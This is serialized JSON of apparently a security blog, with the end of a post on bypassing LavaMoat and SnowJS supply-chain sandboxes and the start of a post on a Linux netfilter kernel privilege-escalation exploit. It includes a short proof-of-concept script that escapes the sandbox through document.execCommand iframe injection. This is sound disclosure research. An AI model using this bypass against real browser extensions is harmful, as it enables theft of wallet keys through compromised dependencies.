children":53759},{"style":6941},[53760],{"type":31,"value":53761},"    Node:",{"type":25,"tag":216,"props":53763,"children":53764},{"style":6958},[53765],{"type":31,"value":26972},{"type":25,"tag":216,"props":53767,"children":53768},{"style":8199},[53769],{"type":31,"value":53770},"'appendChild'",{"type":25,"tag":216,"props":53772,"children":53773},{"style":6958},[53774],{"type":31,"value":7020},{"type":25,"tag":216,"props":53776,"children":53777},{"style":8199},[53778],{"type":31,"value":53779},"'insertBefore'",{"type":25,"tag":216,"props":53781,"children":53782},{"style":6958},[53783],{"type":31,"value":7020},{"type":25,"tag":216,"props":53785,"children":53786},{"style":8199},[53787],{"type":31,"value":53788},"'replaceChild'",{"type":25,"tag":216,"props":53790,"children":53791},{"style":6958},[53792],{"type":31,"value":18214},{"type":25,"tag":216,"props":53794,"children":53795},{"class":6916,"line":7210},[53796,53801,53805,53810,53814,53819,53823,53828,53832,53837,53841,53846,53850,53854,53858,53863,53867,53871,53875,53880,53884,53888],{"type":25,"tag":216,"props":53797,"children":53798},{"style":6941},[53799],{"type":31,"value":53800},"    Element:",{"type":25,"tag":216,"props":53802,"children":53803},{"style":6958},[53804],{"type":31,"value":26972},{"type":25,"tag":216,"props":53806,"children":53807},{"style":8199},[53808],{"type":31,"value":53809},"'innerHTML'",{"type":25,"tag":216,"props":53811,"children":53812},{"style":6958},[53813],{"type":31,"value":7020},{"type":25,"tag":216,"props":53815,"children":53816},{"style":8199},[53817],{"type":31,"value":53818},"'outerHTML'",{"type":25,"tag":216,"props":53820,"children":53821},{"style":6958},[53822],{"type":31,"value":7020},{"type":25,"tag":216,"props":53824,"children":53825},{"style":8199},[53826],{"type":31,"value":53827},"'insertAdjacentHTML'",{"type":25,"tag":216,"props":53829,"children":53830},{"style":6958},[53831],{"type":31,"value":7020},{"type":25,"tag":216,"props":53833,"children":53834},{"style":8199},[53835],{"type":31,"value":53836},"'replaceWith'",{"type":25,"tag":216,"props":53838,"children":53839},{"style":6958},[53840],{"type":31,"value":7020},{"type":25,"tag":216,"props":53842,"children":53843},{"style":8199},[53844],{"type":31,"value":53845},"'insertAdjacentElement'",{"type":25,"tag":216,"props":53847,"children":53848},{"style":6958},[53849],{"type":31,"value":7020},{"type":25,"tag":216,"props":53851,"children":53852},{"style":8199},[53853],{"type":31,"value":53686},{"type":25,"tag":216,"props":53855,"children":53856},{"style":6958},[53857],{"type":31,"value":7020},{"type":25,"tag":216,"props":53859,"children":53860},{"style":8199},[53861],{"type":31,"value":53862},"'before'",{"type":25,"tag":216,"props":53864,"children":53865},{"style":6958},[53866],{"type":31,"value":7020},{"type":25,"tag":216,"props":53868,"children":53869},{"style":8199},[53870],{"type":31,"value":53695},{"type":25,"tag":216,"props":53872,"children":53873},{"style":6958},[53874],{"type":31,"value":7020},{"type":25,"tag":216,"props":53876,"children":53877},{"style":8199},[53878],{"type":31,"value":53879},"'after'",{"type":25,"tag":216,"props":53881,"children":53882},{"style":6958},[53883],{"type":31,"value":7020},{"type":25,"tag":216,"props":53885,"children":53886},{"style":8199},[53887],{"type":31,"value":53677},{"type":25,"tag":216,"props":53889,"children":53890},{"style":6958},[53891],{"type":31,"value":18214},{"type":25,"tag":216,"props":53893,"children":53894},{"class":6916,"line":7238},[53895,53900,53904,53908],{"type":25,"tag":216,"props":53896,"children":53897},{"style":6941},[53898],{"type":31,"value":53899},"    ShadowRoot:",{"type":25,"tag":216,"props":53901,"children":53902},{"style":6958},[53903],{"type":31,"value":26972},{"type":25,"tag":216,"props":53905,"children":53906},{"style":8199},[53907],{"type":31,"value":53809},{"type":25,"tag":216,"props":53909,"children":53910},{"style":6958},[53911],{"type":31,"value":18214},{"type":25,"tag":216,"props":53913,"children":53914},{"class":6916,"line":7251},[53915,53920,53924,53929],{"type":25,"tag":216,"props":53916,"children":53917},{"style":6941},[53918],{"type":31,"value":53919},"    HTMLIFrameElement:",{"type":25,"tag":216,"props":53921,"children":53922},{"style":6958},[53923],{"type":31,"value":26972},{"type":25,"tag":216,"props":53925,"children":53926},{"style":8199},[53927],{"type":31,"value":53928},"'srcdoc'",{"type":25,"tag":216,"props":53930,"children":53931},{"style":6958},[53932],{"type":31,"value":18214},{"type":25,"tag":216,"props":53934,"children":53935},{"class":6916,"line":7269},[53936],{"type":25,"tag":216,"props":53937,"children":53938},{"style":6958},[53939],{"type":31,"value":20530},{"type":25,"tag":38,"props":53941,"children":53942},{},[53943],{"type":31,"value":53944},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":25,"tag":38,"props":53946,"children":53947},{},[53948],{"type":31,"value":53949},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":25,"tag":607,"props":53951,"children":53953},{"id":53952},"bypassing-snowjs",[53954],{"type":31,"value":53955},"Bypassing SnowJS",{"type":25,"tag":38,"props":53957,"children":53958},{},[53959,53961,53972,53974,53980],{"type":31,"value":53960},"The deprecated ",{"type":25,"tag":162,"props":53962,"children":53965},{"href":53963,"rel":53964},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[166],[53966],{"type":25,"tag":82,"props":53967,"children":53969},{"className":53968},[],[53970],{"type":31,"value":53971},"document.execCommand",{"type":31,"value":53973}," function is used to execute commands inside a ",{"type":25,"tag":82,"props":53975,"children":53977},{"className":53976},[],[53978],{"type":31,"value":53979},"contenteditable",{"type":31,"value":53981}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":25,"tag":206,"props":53983,"children":53986},{"className":53984,"code":53985,"language":36339,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[53987],{"type":25,"tag":82,"props":53988,"children":53989},{"__ignoreMap":7},[53990],{"type":25,"tag":216,"props":53991,"children":53992},{"class":6916,"line":6917},[53993,53997,54001,54005,54009,54014,54019,54024,54029,54033],{"type":25,"tag":216,"props":53994,"children":53995},{"style":36332},[53996],{"type":31,"value":9751},{"type":25,"tag":216,"props":53998,"children":53999},{"style":6930},[54000],{"type":31,"value":35302},{"type":25,"tag":216,"props":54002,"children":54003},{"style":6941},[54004],{"type":31,"value":36412},{"type":25,"tag":216,"props":54006,"children":54007},{"style":6958},[54008],{"type":31,"value":266},{"type":25,"tag":216,"props":54010,"children":54011},{"style":8199},[54012],{"type":31,"value":54013},"test",{"type":25,"tag":216,"props":54015,"children":54016},{"style":6941},[54017],{"type":31,"value":54018}," contenteditable",{"type":25,"tag":216,"props":54020,"children":54021},{"style":6941},[54022],{"type":31,"value":54023}," autofocus",{"type":25,"tag":216,"props":54025,"children":54026},{"style":36332},[54027],{"type":31,"value":54028},">\u003C/",{"type":25,"tag":216,"props":54030,"children":54031},{"style":6930},[54032],{"type":31,"value":35302},{"type":25,"tag":216,"props":54034,"children":54035},{"style":36332},[54036],{"type":31,"value":9937},{"type":25,"tag":38,"props":54038,"children":54039},{},[54040,54042,54048,54050,54055],{"type":31,"value":54041},"After inserting this element to a page, it is possible to use ",{"type":25,"tag":82,"props":54043,"children":54045},{"className":54044},[],[54046],{"type":31,"value":54047},"insertHTML",{"type":31,"value":54049}," command of ",{"type":25,"tag":82,"props":54051,"children":54053},{"className":54052},[],[54054],{"type":31,"value":53971},{"type":31,"value":54056}," to add a non-sandboxed iframe.",{"type":25,"tag":206,"props":54058,"children":54060},{"className":35319,"code":54059,"language":35321,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[54061],{"type":25,"tag":82,"props":54062,"children":54063},{"__ignoreMap":7},[54064],{"type":25,"tag":216,"props":54065,"children":54066},{"class":6916,"line":6917},[54067,54071,54075,54080,54084,54089,54093,54097,54101,54106],{"type":25,"tag":216,"props":54068,"children":54069},{"style":6941},[54070],{"type":31,"value":36664},{"type":25,"tag":216,"props":54072,"children":54073},{"style":6958},[54074],{"type":31,"value":179},{"type":25,"tag":216,"props":54076,"children":54077},{"style":7041},[54078],{"type":31,"value":54079},"execCommand",{"type":25,"tag":216,"props":54081,"children":54082},{"style":6958},[54083],{"type":31,"value":1844},{"type":25,"tag":216,"props":54085,"children":54086},{"style":8199},[54087],{"type":31,"value":54088},"'insertHTML'",{"type":25,"tag":216,"props":54090,"children":54091},{"style":6958},[54092],{"type":31,"value":7020},{"type":25,"tag":216,"props":54094,"children":54095},{"style":6930},[54096],{"type":31,"value":12121},{"type":25,"tag":216,"props":54098,"children":54099},{"style":6958},[54100],{"type":31,"value":7020},{"type":25,"tag":216,"props":54102,"children":54103},{"style":8199},[54104],{"type":31,"value":54105},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":25,"tag":216,"props":54107,"children":54108},{"style":6958},[54109],{"type":31,"value":7791},{"type":25,"tag":607,"props":54111,"children":54113},{"id":54112},"impact-on-lavamoat-scuttling",[54114],{"type":31,"value":54115},"Impact On Lavamoat Scuttling",{"type":25,"tag":38,"props":54117,"children":54118},{},[54119],{"type":31,"value":54120},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":25,"tag":38,"props":54122,"children":54123},{},[54124,54126,54131,54133,54138],{"type":31,"value":54125},"For the exploit, the only used functions are in ",{"type":25,"tag":82,"props":54127,"children":54129},{"className":54128},[],[54130],{"type":31,"value":36664},{"type":31,"value":54132}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":25,"tag":82,"props":54134,"children":54136},{"className":54135},[],[54137],{"type":31,"value":41374},{"type":31,"value":54139}," object.",{"type":25,"tag":38,"props":54141,"children":54142},{},[54143,54145,54150],{"type":31,"value":54144},"Consider this example, which runs a scuttled ",{"type":25,"tag":82,"props":54146,"children":54148},{"className":54147},[],[54149],{"type":31,"value":36654},{"type":31,"value":29420},{"type":25,"tag":206,"props":54152,"children":54154},{"className":35319,"code":54153,"language":35321,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[54155],{"type":25,"tag":82,"props":54156,"children":54157},{"__ignoreMap":7},[54158,54194,54231,54274],{"type":25,"tag":216,"props":54159,"children":54160},{"class":6916,"line":6917},[54161,54165,54169,54173,54177,54181,54185,54190],{"type":25,"tag":216,"props":54162,"children":54163},{"style":6941},[54164],{"type":31,"value":36664},{"type":25,"tag":216,"props":54166,"children":54167},{"style":6958},[54168],{"type":31,"value":179},{"type":25,"tag":216,"props":54170,"children":54171},{"style":6941},[54172],{"type":31,"value":36356},{"type":25,"tag":216,"props":54174,"children":54175},{"style":6958},[54176],{"type":31,"value":179},{"type":25,"tag":216,"props":54178,"children":54179},{"style":6941},[54180],{"type":31,"value":38929},{"type":25,"tag":216,"props":54182,"children":54183},{"style":6947},[54184],{"type":31,"value":6950},{"type":25,"tag":216,"props":54186,"children":54187},{"style":8199},[54188],{"type":31,"value":54189}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":25,"tag":216,"props":54191,"children":54192},{"style":6958},[54193],{"type":31,"value":6961},{"type":25,"tag":216,"props":54195,"children":54196},{"class":6916,"line":6763},[54197,54201,54205,54209,54213,54218,54222,54227],{"type":25,"tag":216,"props":54198,"children":54199},{"style":6941},[54200],{"type":31,"value":36664},{"type":25,"tag":216,"props":54202,"children":54203},{"style":6958},[54204],{"type":31,"value":179},{"type":25,"tag":216,"props":54206,"children":54207},{"style":7041},[54208],{"type":31,"value":38954},{"type":25,"tag":216,"props":54210,"children":54211},{"style":6958},[54212],{"type":31,"value":1844},{"type":25,"tag":216,"props":54214,"children":54215},{"style":8199},[54216],{"type":31,"value":54217},"'test'",{"type":25,"tag":216,"props":54219,"children":54220},{"style":6958},[54221],{"type":31,"value":24696},{"type":25,"tag":216,"props":54223,"children":54224},{"style":7041},[54225],{"type":31,"value":54226},"focus",{"type":25,"tag":216,"props":54228,"children":54229},{"style":6958},[54230],{"type":31,"value":7627},{"type":25,"tag":216,"props":54232,"children":54233},{"class":6916,"line":6772},[54234,54238,54242,54246,54250,54254,54258,54262,54266,54270],{"type":25,"tag":216,"props":54235,"children":54236},{"style":6941},[54237],{"type":31,"value":36664},{"type":25,"tag":216,"props":54239,"children":54240},{"style":6958},[54241],{"type":31,"value":179},{"type":25,"tag":216,"props":54243,"children":54244},{"style":7041},[54245],{"type":31,"value":54079},{"type":25,"tag":216,"props":54247,"children":54248},{"style":6958},[54249],{"type":31,"value":1844},{"type":25,"tag":216,"props":54251,"children":54252},{"style":8199},[54253],{"type":31,"value":54088},{"type":25,"tag":216,"props":54255,"children":54256},{"style":6958},[54257],{"type":31,"value":7020},{"type":25,"tag":216,"props":54259,"children":54260},{"style":6930},[54261],{"type":31,"value":12121},{"type":25,"tag":216,"props":54263,"children":54264},{"style":6958},[54265],{"type":31,"value":7020},{"type":25,"tag":216,"props":54267,"children":54268},{"style":8199},[54269],{"type":31,"value":54105},{"type":25,"tag":216,"props":54271,"children":54272},{"style":6958},[54273],{"type":31,"value":7791},{"type":25,"tag":216,"props":54275,"children":54276},{"class":6916,"line":6999},[54277,54281,54285,54290,54294,54298,54303,54307,54312,54317,54321,54325,54329,54333,54337,54341],{"type":25,"tag":216,"props":54278,"children":54279},{"style":6941},[54280],{"type":31,"value":36664},{"type":25,"tag":216,"props":54282,"children":54283},{"style":6958},[54284],{"type":31,"value":179},{"type":25,"tag":216,"props":54286,"children":54287},{"style":7041},[54288],{"type":31,"value":54289},"getElementsByTagName",{"type":25,"tag":216,"props":54291,"children":54292},{"style":6958},[54293],{"type":31,"value":1844},{"type":25,"tag":216,"props":54295,"children":54296},{"style":8199},[54297],{"type":31,"value":40687},{"type":25,"tag":216,"props":54299,"children":54300},{"style":6958},[54301],{"type":31,"value":54302},")[",{"type":25,"tag":216,"props":54304,"children":54305},{"style":6983},[54306],{"type":31,"value":1876},{"type":25,"tag":216,"props":54308,"children":54309},{"style":6958},[54310],{"type":31,"value":54311},"].",{"type":25,"tag":216,"props":54313,"children":54314},{"style":6941},[54315],{"type":31,"value":54316},"contentWindow",{"type":25,"tag":216,"props":54318,"children":54319},{"style":6958},[54320],{"type":31,"value":179},{"type":25,"tag":216,"props":54322,"children":54323},{"style":7041},[54324],{"type":31,"value":36654},{"type":25,"tag":216,"props":54326,"children":54327},{"style":6958},[54328],{"type":31,"value":1844},{"type":25,"tag":216,"props":54330,"children":54331},{"style":6941},[54332],{"type":31,"value":36664},{"type":25,"tag":216,"props":54334,"children":54335},{"style":6958},[54336],{"type":31,"value":179},{"type":25,"tag":216,"props":54338,"children":54339},{"style":6941},[54340],{"type":31,"value":36674},{"type":25,"tag":216,"props":54342,"children":54343},{"style":6958},[54344],{"type":31,"value":7791},{"type":25,"tag":607,"props":54346,"children":54348},{"id":54347},"snowjs-patch",[54349],{"type":31,"value":54350},"SnowJS Patch",{"type":25,"tag":38,"props":54352,"children":54353},{},[54354,54356,54363,54365,54372],{"type":31,"value":54355},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":25,"tag":162,"props":54357,"children":54360},{"href":54358,"rel":54359},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[166],[54361],{"type":31,"value":54362},"browser feature within W3C standards",{"type":31,"value":54364},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":25,"tag":162,"props":54366,"children":54369},{"href":54367,"rel":54368},"https://github.com/weizman/Realms-Initialization-Control",[166],[54370],{"type":31,"value":54371},"Here",{"type":31,"value":54373}," is their new proposal.",{"type":25,"tag":26,"props":54375,"children":54377},{"id":54376},"chaining-the-impacts",[54378],{"type":31,"value":54379},"Chaining The Impacts",{"type":25,"tag":38,"props":54381,"children":54382},{},[54383],{"type":31,"value":54384},"We were able to find two vulnerabilities in lavamoat project:",{"type":25,"tag":6705,"props":54386,"children":54387},{},[54388,54393],{"type":25,"tag":2037,"props":54389,"children":54390},{},[54391],{"type":31,"value":54392},"Policy File Bypass",{"type":25,"tag":2037,"props":54394,"children":54395},{},[54396],{"type":31,"value":54397},"Scuttling Bypass",{"type":25,"tag":38,"props":54399,"children":54400},{},[54401],{"type":31,"value":54402},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":25,"tag":38,"props":54404,"children":54405},{},[54406],{"type":31,"value":54407},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":25,"tag":26,"props":54409,"children":54410},{"id":32886},[54411],{"type":31,"value":22901},{"type":25,"tag":38,"props":54413,"children":54414},{},[54415],{"type":31,"value":54416},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":25,"tag":35302,"props":54418,"children":54419},{"style":35304},[54420],{"type":25,"tag":6461,"props":54421,"children":54424},{"src":54422,"alt":54423,"style":35310},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":25,"tag":22375,"props":54426,"children":54428},{"className":54427,"dataFootnotes":7},[22378],[54429,54434],{"type":25,"tag":26,"props":54430,"children":54432},{"className":54431,"id":19432},[22383],[54433],{"type":31,"value":22386},{"type":25,"tag":6705,"props":54435,"children":54436},{},[54437],{"type":25,"tag":2037,"props":54438,"children":54439},{"id":34321},[54440,54442,54449,54450],{"type":31,"value":54441},"Excluding SES, which was covered ",{"type":25,"tag":162,"props":54443,"children":54446},{"href":54444,"rel":54445},"https://osec.io/blog/2023-11-01-metamask-snaps",[166],[54447],{"type":31,"value":54448},"in our last article",{"type":31,"value":10403},{"type":25,"tag":162,"props":54451,"children":54453},{"href":34349,"ariaLabel":22489,"className":54452,"dataFootnoteBackref":7},[22491],[54454],{"type":31,"value":22494},{"type":25,"tag":9310,"props":54456,"children":54457},{},[54458],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":54460},[54461,54465,54471,54477,54478,54479],{"id":22910,"depth":6763,"text":22913,"children":54462},[54463,54464],{"id":32969,"depth":6772,"text":32972},{"id":51083,"depth":6772,"text":51086},{"id":51839,"depth":6763,"text":51842,"children":54466},[54467,54468,54469,54470],{"id":52090,"depth":6772,"text":52093},{"id":52565,"depth":6772,"text":52568},{"id":53222,"depth":6772,"text":53225},{"id":53345,"depth":6772,"text":53348},{"id":53463,"depth":6763,"text":53466,"children":54472},[54473,54474,54475,54476],{"id":53590,"depth":6772,"text":53593},{"id":53952,"depth":6772,"text":53955},{"id":54112,"depth":6772,"text":54115},{"id":54347,"depth":6772,"text":54350},{"id":54376,"depth":6763,"text":54379},{"id":32886,"depth":6763,"text":22901},{"id":19432,"depth":6763,"text":22386},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":54484,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":54485,"description":54486,"author":54487,"image":54488,"date":54490,"isFeatured":16,"tags":54491,"onBlogPage":16,"body":54494,"_type":6792,"_id":64872,"_source":6794,"_file":64873,"_stem":64874,"_extension":6797},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":54489,"height":13215,"width":9668},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[54492,54493],"kernal","linux",{"type":22,"children":54495,"toc":64840},[54496,54509,54523,54528,54534,54544,54549,54555,54560,54578,54592,54601,54634,54639,54645,54664,54697,54703,54716,54926,54993,55556,55575,55800,55859,55865,55885,55925,56113,56118,56269,56325,56330,56844,56863,57132,57158,57667,57734,57740,57776,57781,58047,58080,58092,58119,58131,58136,58142,58163,58169,58190,58213,59045,59051,59091,59631,59642,59676,59743,59797,60029,60035,60079,60542,60548,60559,60589,60672,60677,60682,60718,60770,60801,61356,61362,61379,61385,61390,61396,61424,61617,61637,61653,62248,62254,62288,62311,62323,62329,62357,62954,62979,63948,63959,63972,63985,64751,64765,64771,64783,64789,64817,64822,64826,64831,64836],{"type":25,"tag":38,"props":54497,"children":54498},{},[54499,54501,54508],{"type":31,"value":54500},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":25,"tag":162,"props":54502,"children":54505},{"href":54503,"rel":54504},"https://google.github.io/security-research/kernelctf/rules.html",[166],[54506],{"type":31,"value":54507},"KernelCTF VRP",{"type":31,"value":179},{"type":25,"tag":38,"props":54510,"children":54511},{},[54512,54514,54521],{"type":31,"value":54513},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":25,"tag":162,"props":54515,"children":54518},{"href":54516,"rel":54517},"https://github.com/conlonialC",[166],[54519],{"type":31,"value":54520},"lonial con",{"type":31,"value":54522},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":25,"tag":38,"props":54524,"children":54525},{},[54526],{"type":31,"value":54527},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":25,"tag":26,"props":54529,"children":54531},{"id":54530},"the-kernel",[54532],{"type":31,"value":54533},"The kernel",{"type":25,"tag":38,"props":54535,"children":54536},{},[54537,54539],{"type":31,"value":54538},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":25,"tag":6461,"props":54540,"children":54543},{"alt":54541,"src":54542},"image","/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":25,"tag":38,"props":54545,"children":54546},{},[54547],{"type":31,"value":54548},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":25,"tag":607,"props":54550,"children":54552},{"id":54551},"kernel-exploitation",[54553],{"type":31,"value":54554},"Kernel exploitation",{"type":25,"tag":38,"props":54556,"children":54557},{},[54558],{"type":31,"value":54559},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":25,"tag":2033,"props":54561,"children":54562},{},[54563,54568,54573],{"type":25,"tag":2037,"props":54564,"children":54565},{},[54566],{"type":31,"value":54567},"Trigger some memory corruption in some kernel subsystem",{"type":25,"tag":2037,"props":54569,"children":54570},{},[54571],{"type":31,"value":54572},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":25,"tag":2037,"props":54574,"children":54575},{},[54576],{"type":31,"value":54577},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":25,"tag":38,"props":54579,"children":54580},{},[54581,54583,54590],{"type":31,"value":54582},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":25,"tag":162,"props":54584,"children":54587},{"href":54585,"rel":54586},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[166],[54588],{"type":31,"value":54589},"blog post",{"type":31,"value":54591}," to become more familiar with the topic.",{"type":25,"tag":26,"props":54593,"children":54595},{"id":54594},"nf_tables",[54596],{"type":25,"tag":82,"props":54597,"children":54599},{"className":54598},[],[54600],{"type":31,"value":54594},{"type":25,"tag":38,"props":54602,"children":54603},{},[54604,54609,54611,54617,54618,54624,54626,54632],{"type":25,"tag":82,"props":54605,"children":54607},{"className":54606},[],[54608],{"type":31,"value":54594},{"type":31,"value":54610}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":25,"tag":162,"props":54612,"children":54615},{"href":54613,"rel":54614},"https://pwning.tech/nftables",[166],[54616],{"type":31,"value":184},{"type":31,"value":7020},{"type":25,"tag":162,"props":54619,"children":54622},{"href":54620,"rel":54621},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[166],[54623],{"type":31,"value":331},{"type":31,"value":54625},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":25,"tag":82,"props":54627,"children":54629},{"className":54628},[],[54630],{"type":31,"value":54631},"nf_table",{"type":31,"value":54633}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":25,"tag":38,"props":54635,"children":54636},{},[54637],{"type":31,"value":54638},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":25,"tag":607,"props":54640,"children":54642},{"id":54641},"transactions",[54643],{"type":31,"value":54644},"Transactions",{"type":25,"tag":38,"props":54646,"children":54647},{},[54648,54650,54655,54657,54662],{"type":31,"value":54649},"A transaction is an interaction that updates ",{"type":25,"tag":82,"props":54651,"children":54653},{"className":54652},[],[54654],{"type":31,"value":54594},{"type":31,"value":54656}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":25,"tag":82,"props":54658,"children":54660},{"className":54659},[],[54661],{"type":31,"value":54594},{"type":31,"value":54663}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":25,"tag":2033,"props":54665,"children":54666},{},[54667,54677,54687],{"type":25,"tag":2037,"props":54668,"children":54669},{},[54670,54675],{"type":25,"tag":9267,"props":54671,"children":54672},{},[54673],{"type":31,"value":54674},"Control plane",{"type":31,"value":54676},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":25,"tag":2037,"props":54678,"children":54679},{},[54680,54685],{"type":25,"tag":9267,"props":54681,"children":54682},{},[54683],{"type":31,"value":54684},"Commit path",{"type":31,"value":54686},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":25,"tag":2037,"props":54688,"children":54689},{},[54690,54695],{"type":25,"tag":9267,"props":54691,"children":54692},{},[54693],{"type":31,"value":54694},"Abort path",{"type":31,"value":54696},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":25,"tag":26,"props":54698,"children":54700},{"id":54699},"vulnerability-details",[54701],{"type":31,"value":54702},"Vulnerability details",{"type":25,"tag":38,"props":54704,"children":54705},{},[54706,54708,54714],{"type":31,"value":54707},"Moving on, let's check out the ",{"type":25,"tag":162,"props":54709,"children":54712},{"href":54710,"rel":54711},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[166],[54713],{"type":31,"value":8167},{"type":31,"value":54715}," that fixed the bug.",{"type":25,"tag":206,"props":54717,"children":54719},{"className":44318,"code":54718,"language":44320,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[54720],{"type":25,"tag":82,"props":54721,"children":54722},{"__ignoreMap":7},[54723,54731,54739,54747,54755,54763,54770,54778,54785,54793,54801,54809,54817,54825,54833,54841,54849,54857,54865,54873,54880,54888,54896,54904,54911,54918],{"type":25,"tag":216,"props":54724,"children":54725},{"class":6916,"line":6917},[54726],{"type":25,"tag":216,"props":54727,"children":54728},{"style":6930},[54729],{"type":31,"value":54730},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":25,"tag":216,"props":54732,"children":54733},{"class":6916,"line":6763},[54734],{"type":25,"tag":216,"props":54735,"children":54736},{"style":6958},[54737],{"type":31,"value":54738},"index c0ceea068936a6..df8de509024637 100644\n",{"type":25,"tag":216,"props":54740,"children":54741},{"class":6916,"line":6772},[54742],{"type":25,"tag":216,"props":54743,"children":54744},{"style":6930},[54745],{"type":31,"value":54746},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":25,"tag":216,"props":54748,"children":54749},{"class":6916,"line":6999},[54750],{"type":25,"tag":216,"props":54751,"children":54752},{"style":6930},[54753],{"type":31,"value":54754},"+++ 